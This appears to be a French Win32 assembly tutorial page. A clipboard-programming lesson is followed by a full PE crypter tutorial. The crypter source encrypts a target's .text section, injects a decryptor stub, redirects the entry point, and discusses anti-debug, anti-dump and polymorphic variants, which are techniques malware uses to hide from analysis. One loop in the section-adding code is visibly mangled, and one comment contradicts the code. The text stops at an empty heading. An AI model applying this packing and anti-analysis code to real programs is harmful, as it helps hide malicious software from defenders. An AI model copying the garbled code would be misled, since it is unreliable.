Sommaire

BONJOUR
Musique "Invention BWV784" J.S. BACH 1685-1750

Tutoriel et Help

Win32 API en fr

Nous veillons aux respects des droits d'auteur : si par erreur un contenu protégé est disponible sans indication sur ce site, merci de contacter l'administrateur, il sera retiré ou mis à jour dans les plus brefs délais.


Accueil

Accueil CHM

Normal, dit comme ça,
vous ne risquez pas de comprendre.


Recherche de Répertoires

M E T T R E D E S D O N N E E S
D A N S L E P R E S S E P A P I E R
(Programmation en Assembleur)

"ClipBoard" est le mot Anglais d'origine pour définir le Presse Papier. A quoi ça sert de mettre des données dans le presse papier ? A pas mal de choses mais surtout à transmettre des informations entre deux applications. Par exemple quand vous êtes dans une page NotePad et que vous faîtes un "Copier" du texte, c'est le ClipBoard qui le récupère, et en retour un "Coller" dans un autre document vous le reconstitue.

Plusieurs méthodes existent. On peut copier du texte ou des images, et le principe entre les deux est différent. On peut aussi copier un petit texte ou un beaucoup plus lourd, et dans ce cas on aura une approche différente.

I - Copie d'un petit texte provenant d'un EditControl :

Inutile de vous montrer la totalité du programme. Le principe est relativement simple, il suffit de donner le focus au Control d'Edition avec SetFocus (Vous savez le focus, c'est le fait que l'élément en question soit sélectionné. Par exemple si un Control d'Edition possède le Focus alors on voit le carret clignoter et on peut écrire dedans. Pour un bouton, on voit un contour pointillé).
Je disais donc, on donne le focus au Control d'Edition avec SetFocus puis on envoie le message WM_COPY à ce Control grâce à l'API SendMessage.

Voici comment faire en admettant que vous ne connaissiez que le n°ID de l'EditControl.

.data?
hEdit dd ?

.const
ID_EDIT equ 100

.code
....
...
..
invoke GetDlgItem, hwndParent, ID_EDIT
mov hEdit, eax
invoke SetFocus, hEdit
invoke SendMessage, hEdit, WM_COPY, NULL, NULL

Explication du code :

C'est clair, SetFocus se servant d'un Handle, on est obligé de le retrouver d'abord avec GetDlgItem. On donne le Focus au Control d'édition puis avec SendMessage et le message WM_COPY on le récupère dans le presse papier.
Trois autres messages existent.
- WM_CLEAR pour effacer le Contol d'Edition (il ne touche pas au Presse Papier)
- WM_CUT qui efface le texte du Control et en échange le place dans le Presse Papier)
- WM_PAST qui récupère le texte contenu dans le presse papier pour le coller sur un autre support (Le presse papier contient toujours le texte même après ce message)

II - Copie d'un texte volumineux

Voyons le cas d'une doc complète. Imaginons que notre programme ouvre un fichier volumieux, lise son contenu et doive le mettre dans le ClipBoard.
On ne va quand même pas créer un Control d'Edition (même caché) se servant d'un buffer de 10Mo pour pouvoir récupérer le texte et ensuite l'envoyer au Presse Papier. Ben non parce qu'un buffer de 10Mo ça signifie que votre programme lui-même est alordit de ce poids.

Il y a des fonctions spéciales pour ce cas de figure.

.386
.model flat,stdcall
option casemap:none

include 	\masm32\include\windows.inc
include	\masm32\include\user32.inc
includelib	\masm32\lib\user32.lib
include	\masm32\include\kernel32.inc
includelib	\masm32\lib\kernel32.lib

.data
source	db "voilà le texte volumineux à copier",0

.data?
hMem	HANDLE ?
pMem	dd ?

.code
start:

invoke OpenClipboard, NULL
.if eax==TRUE
    invoke EmptyClipboard
    invoke lstrlen, addr source
    inc eax
    invoke GlobalAlloc, GMEM_DDESHARE, eax	; réserve un certains nb de bytes
    mov hMem, eax
    invoke GlobalLock, hMem			; lock bloc de mémoire
    mov pMem, eax
    invoke lstrcpy, pMem, addr source
    invoke GlobalUnlock, hMem
    invoke SetClipboardData, CF_TEXT, hMem
    invoke CloseClipboard
.endif

invoke ExitProcess, 0
end start

Explication du code :

EmptyClipBoard vide les données déjà présentes dans le presse papier si il y en a.

GlobalAlloc réserve un bloc de mémoire de la taille du texte à copier +1 car une chaine de caractères imprimable se termine toujours par un 0, c'est très important de ne pas l'oublier. Et d'ailleurs si vous ne mettez pas un NULL de terminaison, la copie dans le presse papier va déconner. Je vous dis ça parceque si le données que vous voulez mettre dans le presse papier ne sont pas un texte, il faudra penser à rajouter un NULL.
GlobalAlloc retourne le handle du bloc de mémoire réservé.

GlobalLock retourne le pointeur du début du bloc de mémoire. pMem va donc être le point en mémoire où se situe le texte à recopier dans le presse papier.

lstrcpy copie le texte qui était dans les data en mémoie, là où on lui a fait une petite place.

GlobalUnlock déverouille le block de mémoire, c'est à dire qu'il détruit le pointeur pMem qui pointe sur le début du texte en mémoire. On ne peut donc plus y écrire. Cependant il n'efface pas ce texte, donc il est toujours en mémoire et hMem qui est le handle de l'objet "bloc de mémoire" reste toujours valide. Et il est suffisant pour effectuer la copie dans le presse papier.

SetClipBoardData copie le texte contenu dans l'objet "bloc de mémoire" réservé. Le Flag CF_TEXT signifie qu'on s'occupe d'un texte (C'est pour ça que le NULL de terminaison a son importance). L'autre possibilité c'est la copie d'image bitmap donc des bytes de 0 à 0FFh.

CloseClipboard referme son accès au presse papier. C'est indispensable, car si notre programme ne refermait pas cet accès, les autres applications ne pourraient pas à leur tour y accéder, et du coup le COLLER échouerait pour elles.

III - Récupération d'un texte volumineux

Voici maintenant le contaire. Ce programme récupère le texte qui est dans le presse papier.

.386
.model flat,stdcall
option casemap:none

include 	\masm32\include\windows.inc
include	\masm32\include\user32.inc
includelib	\masm32\lib\user32.lib
include	\masm32\include\kernel32.inc
includelib	\masm32\lib\kernel32.lib

.data
Titre	db "Le presse papier contient ceci:",0

.data?
hMem	HANDLE ?
pMem	dd ?

.code
start:

invoke OpenClipboard, NULL
.if TRUE
    invoke GetClipboardData, CF_TEXT
    mov hMem, eax
    invoke GlobalLock, hMem
    mov pMem, eax
    invoke MessageBoxEx, 0, pMem, addr Titre, 40h, LANG_FRENCH
    invoke GlobalUnlock, hMem
    invoke CloseClipboard
.endif

invoke ExitProcess, 0
end start

Explication du code :

OpenClipboard donne accès au presse papier, le paramettre NULL est normalement le handle de la fenêtre concernée. Un NULL indique qu'il s'agit de l'application courrante.

GetClipBoardData retrouve les données placées dans le presse papier au format indiqué (ici texte) et en retour renvoie le handle de l'objet Clipboard. Cet handle représente le numéro d'attribution d'un bloc de mémoire où viennent d'être recopier les données provenant du Clipboard.

GlobalLock en se servant du handle précédent va pouvoir retourner un pointeur qui indique le début des données recopiées. pMem est donc le début des données.

MessageBoxEx (On se sert trop peu d'elle) affiche les données récupérées. C'est juste pour vous montrer le contenu de ce qui se trouve en pMem. Mais je pense qu'en ce qui vous concerne a cet endroit vous déciderez d'utiliser ces données de bien d'autres façons. En tout ça si vous devez traiter ces données, c'est ici. Par exemple les recopier dans un fichier *.txt, ou en faire un scan quelconque.
J'allais presque oublier, ne placez pas un texte hyper-volumineux dans le presse papier. Le Clipboard le supportera sans problème, mais dans cet exemple j'utilise la fonction MessageBox(Ex) qui elle est seulement adaptée pour afficher de courts messages. C'était seulement pour vous montrer que les données sont bien présentes à ce niveau là, c'est tout...

GlobalUnlock libère l'objet ClipBoard en détruisant le pointeur pMem. Les données restent là, inchangées, mais on ne peu plus les retoucher.

CloseClipboard referme le presse papier pour que les autres applications puissent à leur tour y accéder.

/!\ Attention, je n'ai pas écrit ce texte dans le but que de nouveaux virus se baladent un peu partout sur Internet.
Tous les essais décrits ici n'ont pas dépassés le cadre de mon réseau personnel. Partager son savoir n'a rien d'illégal
par contre ça le deviendra pour les quelques uns qui souhaitent s'en servir dans un autre but que celui qui est le mien.
Forcément je ne me fais pas d'illusions, donc ceux concernés prendront leurs responsabilités.


Crypteur & anti-dump

C R Y P T E U R   B A S I C

Le but de ce tutorial n'est pas de savoir comment décrypter les protections comme Asprotect et autres crypteurs, mais plutôt de créer les nôtres. Oh bien sûr on ne joue pas dans la même cours, ça va rester relativement simple. C'est juste que j'ai trouvé très intéressant d'expérimenter ça. Et puis au fond, c'est aussi un essai qui fera réviser le jugement de tous ceux qui ne jurent que par PESniffer et autres chercheurs de crypteurs. Parce que devant un cryptage maison, rien de remplacera jamais nos bons vieux debuggers et un bloc de papier.

Voici les sources et exe dans ce fichier Rar

CONNAISSANCES REQUISES :

- Savoir utiliser SoftIce un minimum ou Ollydbg.
- Des notions concernant le PE Header.
- Ajout d'une nouvelle section. 		POUR ALLER PLUS LOIN :

- Savoir passer en Ring0 (CPL0).
- Parfaitement connaitre l'IAT.
- Un soupçon d'imagination.

Je vais d'abord vous rappeler brièvement le procédé de Pusar que vous retrouverez sur le site de christal (http://afrt.cjb.net/) sous le nom de antideb.zip. C'est vraiment très simple, le principe c'est que SoftIce et W32Dasm interprètent les suites d'octets pour les afficher sous forme de code Assembleur. Mais si jamais vous insérez un deux ou quelques bytes significatifs et que vous sautez par dessus, et bien les debuggers sont leurés car ils essaient d'interpréter ce bout de code qui ne sera jamais exécuté et tout le reste subit le décalage induit. Ainsi tout ce qui est interprété par la suite l'est mal car le décalage subsiste tant que la taille de ce qui est lu ne retombe pas pile sur le début d'une prochaine instruction. Cependant je ne pense pas qu'IDA sera trompé lui, il ne fonctionne pas exactement comme SoftIce dans son principe d'interprétation des mnémonics.
Si je vous parle du principe du Pulsar, c'est parce qu'il n'a absolument rien à voir avec le mien, par contre il est tout à fait complémentaire, dans le sens où justement il combles les lacunes du mien. Et vice versa.

THÉORIE :

Tout ça c'est de l'empirisme, alors très certainement que vous pourriez retrouver ce type d'explication en cherchant bien sur le net. Je ne dois pas avoir inventé grand chose donc! Voilà,.... le principe de Pulsar c'est de faire perdre les pédales aux débuggers mais les suites d'octets ne sont pas modifiés pour autant. Si nous regardions le contenu du programme sous HexWorkShop après le saut qui rend fou les débuggers, ces octets resteraient ceux du programme d'origine. J'ai opté pour la solution contraire, à savoir réellement remplacer chaque octet original par un octet crypté. Pour que le programme reste valide, il faut néammoins qu'une fois en mémoire, il soit revenu à sa forme décryptée. Mais rien n'empêche que vue sous forme de fichier (sous HexWorkShop) sa forme soit cryptée. Ca suppose donc de premièrement crypter le programme quand il n'est encore qu'un fichier, lui inclure une petite routine non cryptée (sinon le loader de Windows ne saura pas l'exécuter) qui décodera ce fichier charabia en un ensemble compréhensible en mémoire. Pourquoi le principe de Puslar est intéressant ? Et bien parce que d'une part il permet de cacher ma routine de décryptage puisqu'en réalité il ne modifie pas le code, car tout ce qu'il fait c'est faire perdre les pédales aux débuggers, et d'autre part il peut être une seconde couche de cryptage par dessus le mien, les deux n'interférent pas puisque leurs principes n'ont rien de commun.

Etapes de cryptage:

- Je parle du contenu du programme crypteur et non de la cible.......
- Il doit être capable d'ajouter une nouvelle section à la cible.
- Il devra crypter la section .text de la cible (par exemple en ajoutant 1 à chaque byte de cette section)
- Dans la nouvelle section de la cible il devra injecter du code, Code qui aura pour rôle de soustraire 1 à chaque byte de sa propre section .text
- Le crypteur devra déplacer l'EntryPoint de la cible sur le début de sa nouvelle section, pour que ce soit la première exécutée.
- Le crypteur devra injecter à la fin de la nouvelle section de la cible un saut qui retourne sur l'EntryPoint Original de celle-ci.

On peut difficilement faire plus simple, non ? Vu sous forme de fichier, le code ne sera donc plus du code valide (W32DASM ne donnera plus rien d'utilisable car il ne comprendra plus rien. Vous ne verrez plus les fonctions, plus les ressources, plus de data,...). Une fois en mémoire SoftIce ne verra rien tant que la section décrypteur n'aura pas fait son travail. C'est exactement ce qui se passe quand on sur l'EntryPoint Original d'un programme crypté par Asprotect et qu'on est sur le point d'effectuer un dump. C'est pas pour rien que cet endroit est spécial, c'est bien parce que à ce point là le programme en mémoire est bien celui d'origine (ou tout au-moins s'en rapproche beaucoup). Mais grâce au cryptage de Pulsar tout ça restera plus opaque.

SNIPPET CODE :

;############################################ ON RAJOUTE UNE SECTION ####################################################
NewSection	proc uses esi edi

    mov edi, pMapping			; en admettant que pMapping pointe sur le
    assume edi:ptr IMAGE_DOS_HEADER 	; début du programme mappé en mémoire.
    add edi, [edi].e_lfanew
    assume edi:ptr IMAGE_NT_HEADERS

    mov eax, [edi].OptionalHeader.ImageBase
    mov ImageBase, eax

    mov eax, [edi].OptionalHeader.AddressOfEntryPoint
    mov AddressOfEntryPoint, eax

    movzx eax, [edi].FileHeader.NumberOfSections
    mov NumberOfSections, eax
    inc NumberOfSections				;
    mov eax, NumberOfSections			; on rajoute une section
    mov [edi].FileHeader.NumberOfSections, ax	;

    mov eax, [edi].OptionalHeader.SectionAlignment	; 1000
    mov SectionAlignment, eax			;

    mov eax, [edi].OptionalHeader.FileAlignment	; 200
    mov FileAlignment, eax				;

    mov esi, edi
    assume esi:ptr IMAGE_NT_HEADERS			; esi représente la srtucture IMAGE_NT_HEADERS

    add edi, sizeof IMAGE_NT_HEADERS		; edi pointe sur la première table des section
    assume edi:ptr IMAGE_SECTION_HEADER

    ;---------------------------------------------------------------
    mov eax, NumberOfSections
    sub eax, 2
    mov ebx, sizeof IMAGE_SECTION_HEADER
    mul ebx						; eax = taille de toutes les sections - Les 2 dernières
    add edi, eax					; edi pointe sur le début de l'avant dernière section
    mov eax, [edi].VirtualAddress
    mov VirtualAddress, eax				; on récupère le VirtualAddress de la dernière section

    mov eax, [edi].Misc.VirtualSize
    mov VirtualSize, eax				; on récupère le VirtualSize de la dernière section

    mov eax, [edi].PointerToRawData
    mov PointerToRawData, eax			; on récupère le RawAddress de la dernière section

    mov eax, [edi].SizeOfRawData
    mov SizeOfRawData, eax				; on récupère le SizeOfRawData de la dernière section

add edi, sizeof IMAGE_SECTION_HEADER

    mov eax, VirtualAddress				;
    mov ebx, VirtualSize				;
    add ebx, eax					;
    .while eax < ebx				;
        add eax, SectionAlignment		;
    .endw						;
    mov [edi].VirtualAddress, eax			; on definit le VirtualAddress de notre section
    mov VirtualAddress, eax

    mov eax, PointerToRawData			;
    mov ebx, SizeOfRawData				;
    add ebx, eax					;
    .while eax < ebx				;
        add eax, FileAlignment			;
    .endw						;
    mov [edi].PointerToRawData, eax			; on definit le PointerToRawData de notre section
    mov PointerToRawData, eax

    mov edx, 1000h		 			; taille_necessaire = tant que la taille nécessaire < eax alors
    xor eax, eax					; on augmente eax d'autant de fois FileAlignment
    .while eax < edx				;
        add eax, FileAlignment			;
    .endw						;
    mov [edi]. SizeOfRawData, eax			;
    mov SizeOfRawData, eax
    mov [edi].Misc.VirtualSize, eax			; On récupère la valeur de SizeOfImage du programme et je
    mov edx, [esi].OptionalHeader.SizeOfImage	; l'augmente d'autant que ma nouvelle section prend de place
    add edx, eax					;
    mov  [esi].OptionalHeader.SizeOfImage, edx	;

    mov [edi].Characteristics, 0E0000060h		; On met cette nouvelle section en tant qu'accès en lecture et ecriture
    mov dword ptr [edi], "tip."			;
    mov word ptr [edi+4], "ti"			; On renomme cette section sous le nom .libre

    invoke UnmapViewOfFile, pMapping
    invoke CloseHandle,hMapping
    mov eax, PointerToRawData			; eax vaut maintenant le nb de byte
    add eax, SizeOfRawData				; total du fichier = taille de fichier
    invoke CreateFileMapping, hFile, NULL, PAGE_READWRITE,0, eax ,0    ; Nouvelle Taille du programme en entier
    mov hMapping, eax
    invoke MapViewOfFile,hMapping,FILE_MAP_WRITE,0,0,0
    mov pMapping, eax

    push edi
    invoke RVAToOffset, pMapping, [edi].VirtualAddress 	; On transforme ce RVA en adresse mémoire (dans le fichier mappé)
    add eax, pMapping					; eax pointe sur l'adresse en mémoire où commence notre nouvelle section
    mov edx, SizeOfRawData					;

    .while edx > 0						; Et on remplit en mémoire notre nouvelle section .idata de bytes NULLs
        mov byte ptr [eax+edx-1], 00h			; Car si on ne la définit pas, elle ne sera pas modifiée une fois qu'on
        dec edx						;
    .endw

    pop edi

    invoke RVAToOffset,pMapping, [edi].VirtualAddress
    add eax,pMapping
    mov ebx, eax

    mov edi, pMapping
    assume edi:ptr IMAGE_DOS_HEADER
    add edi, [edi].e_lfanew
    assume edi:ptr IMAGE_NT_HEADERS
    mov eax, VirtualAddress					; Redirection de l'EntryPoint sur
    mov [edi].OptionalHeader.AddressOfEntryPoint, eax	; le début de la nouvelle section

    ;---------------------------------------------------------------
    ; on recherche les info sur la section .text

    add edi, sizeof IMAGE_NT_HEADERS			; edi pointe sur la première table des section
    assume edi:ptr IMAGE_SECTION_HEADER
    xor eax, eax
    .while eax AddressOfEntryPoint
        add edi, sizeof < IMAGE_SECTION_HEADER
        mov eax, [edi].VirtualAddress
    .endw
    sub edi, sizeof IMAGE_SECTION_HEADER
    mov eax, [edi].VirtualAddress
    mov VirtualAddressCode, eax
    mov eax, [edi].SizeOfRawData
    mov SizeOfRawDataCode, eax
    mov eax,[edi].PointerToRawData
    mov PointerToRawDataCode, eax
    mov [edi].Characteristics, 0E0000060h
    ;---------------------------------------------------------------

    mov eax, ebx

ret
NewSection endp
;#########################################################################################################################

;################################################ ECRIRE DONNEES #########################################################
;
; Cette procédure Code d'abord la section .text du programme cible. Puis écrit le décoder dans la nouvelle section
;
    EcrireDonnees proc uses esi edi debutEcriture:DWORD
    LOCAL debutSection	:DWORD
    LOCAL DLLnum		:DWORD
    LOCAL FUNCnum		:DWORD
    LOCAL NomFichier[100]	:BYTE

    ;--------------------------------------------
    invoke RVAToOffset,pMapping, VirtualAddressCode
    add eax,pMapping			; eax = pointe en mémoire sur le début de .text
    xor ebx, ebx				;
    dec SizeOfRawDataCode			;
    .while ebx < SizeOfRawDataCode		;
        mov dl, byte ptr [eax+ebx]	; toute cette partie crypte
        xor dl, 4			; la section .text
        add dl, 7			;
        mov byte ptr [eax+ebx], dl	;
        inc ebx				;
    .endw					;
    ;--------------------------------------------

    NOP
    mov edi, debutEcriture			;
    mov byte ptr [edi], 068h		; PUSH.....
    mov eax, ImageBase			;
    add eax, VirtualAddress			;
    mov debutSection, eax			; debutSection est le point de référence de la nouvelle section
    mov dword ptr [edi+1], eax		; ???????h		.....ADDRESSE_DE_DÉBUT_DE_LA_SECTION
    mov byte ptr [edi+5], 05Fh		; POP EDI

    mov eax, ImageBase			;						; Toute cette partie injecte dans la
    add eax, VirtualAddressCode		;						; nouvelle section du programme cible
    mov byte ptr [edi+6], 068h		; PUSH....					; le décoder
    mov dword ptr [edi+7], eax		; ....adresse ENTRY POINT ORIGINAL		;
    mov byte ptr [edi+11], 058h		; POP EAX					;
    mov word ptr [edi+12], 0DB33h		; XOR EBX, EBX					;
    mov word ptr [edi+14], 00DEBh		; JMP +13					;
    mov byte ptr [edi+16], 08Ah		;						;
    mov word ptr [edi+17], 00314h		; MOV DL, BYTE PTR [EBX+EAX]  	 		;
    mov word ptr [edi+19], 0EA80h		; 						;
    mov byte ptr [edi+21], 07h		; SUB DL, 07					;
    mov word ptr [edi+22], 0F280h		;						;
    mov byte ptr [edi+24], 04h		; XOR DL, 04					;
    mov dword ptr [edi+25], 043031488h	; MOV BYTE PTR [EBX+EAX], DL	&&	INC EBX
    mov word ptr [edi+29], 0FB81h		; CMP EBX, ......				;
    mov eax, SizeOfRawDataCode								;
    mov dword ptr [edi+31], eax		; ..... Taille_Section.text			;
    mov word ptr [edi+35], 0EB72h		; JB -11					;

    add edi, 37
    mov esi, debutSection
    add esi, 200h 	;<-------------------------------------------------- déplace le jmp EIP original eax_octets plus loin
    mov byte ptr [edi], 068h	  	; PUSH ...
    mov dword ptr [edi+1], esi		; ????????h		.... adresse du saut
    mov byte ptr [edi+5], 05Eh		; POP ESI
    mov word ptr [edi+6], 0E6FFh		; JMP ESI
    add edi, 8				;

    ;--------------------------------------------

    add esi, debutEcriture
    sub esi, debutSection
    mov edi, esi
    mov byte ptr [edi], 0B8h		; MOV EAX, ...
    mov eax, ImageBase			;
    add eax, AddressOfEntryPoint		;
    inc edi					;
    mov dword ptr [edi], eax		; ???????h		...EntryPoint
    mov word ptr [edi+4], 0E0FFh		; JMP EAX
ret
EcrireDonnees endp
;#########################################################################################################################

EXPLICATION :

Tout le début du programme est courant. WinMain, WndProc... on passe! La procédure OuvrirFichier commence à être intéressante. Elle sert seulement à sélectionner le fichier cible et vérifier que c'est bien un PE File (un programme Win32). Si oui elle appelle les procédures NewSection puis EcrireDonnees.
Le rôle de NewSection est de rajouter la nouvelle section au programme cible et de faire pointer l'EntryPoint dessus. Elle retrouve aussi quelques info sur la section .text de la cible, car on va en avoir besoin dans la prochaine Procédure.
Un détail important : pour rajouter une section à un programme il ne suffit pas d'incrémenter le membre NumberOfSections et de définir les membres VirtualAddress
, VirtualSize, PointerToRawData, SizeOfRawData de la nouvelle section. Non. Il faut aussi réellement, l'augmenter en mémoire. Quand on avait ouvert le programme cible, il avait une certaine taille initiale. Ce qu'on a seulement fait pour l'instant c'est noter dans le PE Header qu'on met une section de plus et aussi on a définit les caractéristiques de cette nouvelle section telle que sa taille l'endroit où elle se situe, mais il reste maintenant à vraiment augmenter la taille du programme. C'est pour ça qu'au milieux de cette procédure vous trouvez ce bout de code:

    invoke UnmapViewOfFile, pMapping
    invoke CloseHandle,hMapping
    mov eax, PointerToRawData			; eax vaut maintenant le nb de byte
    add eax, SizeOfRawData				; total du fichier = taille de fichier
    invoke CreateFileMapping, hFile, NULL, PAGE_READWRITE,0, eax ,0
    mov hMapping, eax
    invoke MapViewOfFile,hMapping,FILE_MAP_WRITE,0,0,0
    mov pMapping, eax

Le but c'est de refermer le programme cible puis de le rouvrir mais cette fois ci avec eax qui représente sa nouvelle taille, section rajoutée comprise. Comme ça à sa prochaine fermeture, il aura réellement la bonne taille.

Passons à la partie vraiment intéressante du tutorial. Le programme cible reçoit pour l'intant une nouvelle section. Maintenant on peut attaquer la partie cryptage/décryptage et c'est la section EcrireDonnees qui s'occupe de ça.

;--------------------------------------------
invoke RVAToOffset,pMapping, VirtualAddressCode
add eax,pMapping			; eax = pointe en mémoire sur le début de .text
xor ebx, ebx				;
dec SizeOfRawDataCode			;
.while ebx < SizeOfRawDataCode		;
    mov dl, byte ptr [eax+ebx]	; toute cette partie crypte
    xor dl, 4			; la section .text
    add dl, 7			;
    mov byte ptr [eax+ebx], dl	;
    inc ebx				;
.endw					;
;--------------------------------------------

Je préfaire utiliser le couple lodsb/stosb qui est tout à fait adapté à un processus de crytage, mais j'ai laissé ce type de code parce que pour tous, y a pas plus clair.

C'est simple on avait récupéré le RVA du début de la section .text. On le tansforme en adresse mémoire pour pointer sur le début de la section .text en mémoire. Et on passe en revue chacun de ses bytes (... < SizeOfRawDataCode). Pour crypter cette section on lui fait d'abord subir un XOR, val1 puis un ADD, val2.
Bon c'est un cryptage vraiment très bête. A vous d'inventer les vôtres. Ce n'est plus de la programmation à ce niveau, c'est des Math. Le seul truc c'est que l'algorithme doit être réversible. (Les modulo sont très efficaces pour ça ou les NOT...). Le fait d'ajouter 7 à une valeur comme FF ne pose pas de problème en réalité, car dès qu'on déborde, on reprend à partir de 0 et l'inverse est vrai aussi. C'est un peu comme si la plage [0;FF] formait une boucle sur elle-même. On pourrait aussi traiter le problème non plus par byte mais par word ou même par dword. Un truc facile à mettre en place aussi, c'est d'inverser toute la section .text. Le premier byte devient le dernier et vis vesa pour la totalité.

La suite c'est l'injection du décrypteur dans la nouvelle section du programme cible.
En fait dans l'état où je l'ai créé, il y a plusieurs points inutiles. En particulier deux jmp. Voici le code comme vous le trouveriez une fois injecté dans la cible en supposant que sa nouvelle section commence en 00405000.

    :00405000 6800504000              push 00405000		; Début de la section de cryptage
    :00405005 5F                      pop edi		; aucune importance pour l'instant
    :00405006 6800104000              push 00401000		; Début de la section à crypter
    :0040500B 58                      pop eax
    :0040500C 33DB                    xor ebx, ebx
    :0040500E EB0D                    jmp 0040501D		; En réalité l'adresse est interprétée. Véritablement,
                                ; EB0D représente jmp +13 quelque soit l'endroit où on
                                ; est. Tous les sauts sont RELATIFS.
                                ; Ca c'est super important.

    * Referenced by a (U)nconditional or (C)onditional Jump at Address:
    |:00405023(C)
    |
    :00405010 8A1403                  mov dl, byte ptr [ebx+eax]	; on appelle un byte
    :00405013 80EA07                  sub dl, 07			; on le décrypte par
    :00405016 80F204                  xor dl, 04			; inversion du procédé
    :00405019 881403                  mov byte ptr [ebx+eax], dl	; on le réinjecte à sa place
    :0040501C 43                      inc ebx

    * Referenced by a (U)nconditional or (C)onditional Jump at Address:
    |:0040500E(U)
    |
    :0040501D 81FBFF0F0000            cmp ebx, 00000FFF	; taille de la section à crypter
    :00405023 72EB                    jb 00405010
    :00405025 6800524000              push 00405200		; un jmp qui laisse quelques
    :0040502A 5E                      pop esi		; bytes null au cas où on
    :0040502B FFE6                    jmp esi		; prévoit l'emploi de données
    :0040502D 00000000000000000000    BYTE 10 DUP(0)
    :00405037 00000000000000000000    BYTE 10 DUP(0)
    :00405041 00000000000000000000    BYTE 10 DUP(0)
    .......
    .......

    :00405200 B8D0114000              mov eax, 004011D0	; adresse de l'EntryPoint Original
    :00405205 FFE0                    jmp eax		; donc, saut vers le programme décrypté

La première chose d'inutile, ce sont les deux premières lignes. Mais si je les ai mises c'est pour une bonne raison, imaginez qu'on ait besoin de data, comment pointer dessus ? dans un code assemblé on a pas de mnémonic du type offset .... et on a pas moyen non plus d'accéder à l'EIP où on est car le registre EIP est protégé en lecture écriture. Donc à l'adresse XXXXXX d'entrée de la nouvelle section je m'arrange pour placer un XXXX PUSH XXXX. POP EDI. Comme ça edi représente le début de la nouvelle section et c'est ensuite très facile de retrouver des data si elles sont à EDI+QQCHOSE.

Le tout dernier jmp eax est en fait LE saut vers l'EntryPoint Original. Le jmp qui est au-dessus est inutile lui aussi. On aurait pu mettre directement le jmp EntryPoint à sa place. Son seul rôle c'est que je peux rajouter du code au dessus de lui et le déplacer plus bas, il pointera toujours vers le jmp EP vu comment est fait mon programme. Ca me permet d'avoir un code plus manipulable pour ajouter ou retirer du code pendant mes essais, et ça me permettra aussi de rajouter des chaines de caractères par exemple pour appeler des fonctions, ou n'importe quoi d'autre. Ce bloc de bytes nulls c'est un peu l'équivalent d'une section .data ou .data?

La vraie partie qui nous intéresse, c'est ce qui est entre tout ça. D'abord on avait récupéré dans la procédure précédente le début et la taille de la section .text. Je m'arrange pour que eax reçoive l'adresse de début. Ensuite ebx sera incrémenté tant qu'il sera plus petit que la taille de la section .text.
Et pour finir pour chaque byte de [début.text ; début.text+taille.text] on le décode en inversant l'algorithme.

C'est bien beau tout ça, mais comment le programme crypteur peut écrire ça dans la nouvelle section de la cible ?

(Un grand merci au Loader de SoftIce, définitivement y a pas de meilleurs outil.... )

    mov edi, debutEcriture			;
    mov byte ptr [edi], 068h		; PUSH.....
    mov eax, ImageBase			;
    add eax, VirtualAddress			;
    mov debutSection, eax			; debutSection est le point de référence de la nouvelle section
    mov dword ptr [edi+1], eax		; ???????h		.....ADDRESSE_DE_DÉBUT_DE_LA_SECTION
    mov byte ptr [edi+5], 05Fh		; POP EDI

    mov eax, ImageBase			;						; Toute cette partie injecte dans la
    add eax, VirtualAddressCode		;						; nouvelle section du programme cible
    mov byte ptr [edi+6], 068h		; PUSH....					; le décoder
    mov dword ptr [edi+7], eax		; ....adresse ENTRY POINT ORIGINAL		;
    mov byte ptr [edi+11], 058h		; POP EAX					;
    mov word ptr [edi+12], 0DB33h		; XOR EBX, EBX					;
    mov word ptr [edi+14], 00DEBh		; JMP +13					;
    ......
    .......
    mov eax, ImageBase			;
    add eax, AddressOfEntryPoint		;
    inc edi					;
    mov dword ptr [edi], eax		; ???????h		...EntryPoint
    mov word ptr [edi+4], 0E0FFh		; JMP EAX

C'est simple debutEcriture pointe sur le début de la nouvelle section, autrement dit elle pointe exactement sur le point où on se trouve actuellement, donc edi aussi maintenant (Ne confondez pas le edi dans mon programme et le edi qu'il inscrit dans la cible vu plus haut). Reste juste à ecrire tout le code vert grâce aux :
mov dword ptr [edi+...], ....h.
Et ça c'est pas très dure en fait. Voici une astuce qui marche pas mal, ce que vous souhaitez que votre crypteur inscrive dans le programme cible, vous l'écrivez dans un petit fichier *.asm et vous en faîtes un petit programme autonome (c'est ce qui est en vert pour l'instant, et rien ne vous empêche d'utiliser des .if .while car une fois assemblé, il prendra la forme correcte qui est celle en vert.) Donc vous avez assemblé votre petit prog. Maintenant, il vous suffit de faire un copier / coller du truc vert (présent dans W32Dasm) vers votre fichier crypteur.asm et en inversant le code machine on trouve sans rien chercher ce qui doit être mis dans les mov dword ptr [edi+...], icih.
C'est simple l'injection de code, non ? Sinon l'autre solution c'est d'écrire in situ grâce au Loader de SoftIce. Pour le gros du code j'utilise la première solution et pour affiner les détails je préfère SoftIce.

Le mot de la fin :

Le crypteur de Pulsar n'est pas utilisé ici, mais il est facile de le mettre en place, tellement facile que je vous laisse ça. Bon! Un dump est toujours possible pour retrouver le programme original. Il serait donc bien de trouver un moyen anti-dump. Pas dur, il suffit par exemple de recopier une partie de la section .text et de l'importer dans notre section. Et d'effectuer les 2 redirections pour que tout fonctionne. Comme ça le dump de la section .text est incomplet.
Une autre chose, c'est que le cryptage peut aussi se faire sur la section .data puisqu'elle est figée tout comme l'est la section .text ça marcherait parfaitement(.rsrc aussi). Pour la section .idata contenant l'IAT c'est pas possible de lui faire subir ça, car avant même que la première ligne de code du décodeur ne sera exécutée, le Loader de Windows essaiera de lire l'IAT pour transformer le RVA FirstThunk en véritable adresses de fonctions. Donc ça va échouer puisqu'il sera encore crypté. Cependant il serait quand même possible de détourner ça puisque y0da à proposé le moyen de retrouver les adresses des fonctions par nous même, on pourrait faire le travail du Loader de Windows par nous même et se passer de l'IAT du moment que les bonnes adresses soient déposées aux bons endroits (dans FirstThunk) et que les membres DateTimeStamp soient à zéro pour ne pas enclancher le processus Bound, lequel récrit par dessus les RVA firstThunk quand il pense que la version de la DLL n'est pas la bonne.
Imaginez aussi que les valeurs dans le XOR et ADD/SUB du crypteur/décrypteur soient fonction de la date de l'ordinateur et bien on obtient un cypteur polymorphe. Enfin bon, polymorphe seulement dans le sens où sur une même cible, il la cryptera à chaque fois de manière différente.

UN PRINCIPE ANTI-DUMP PERSO:

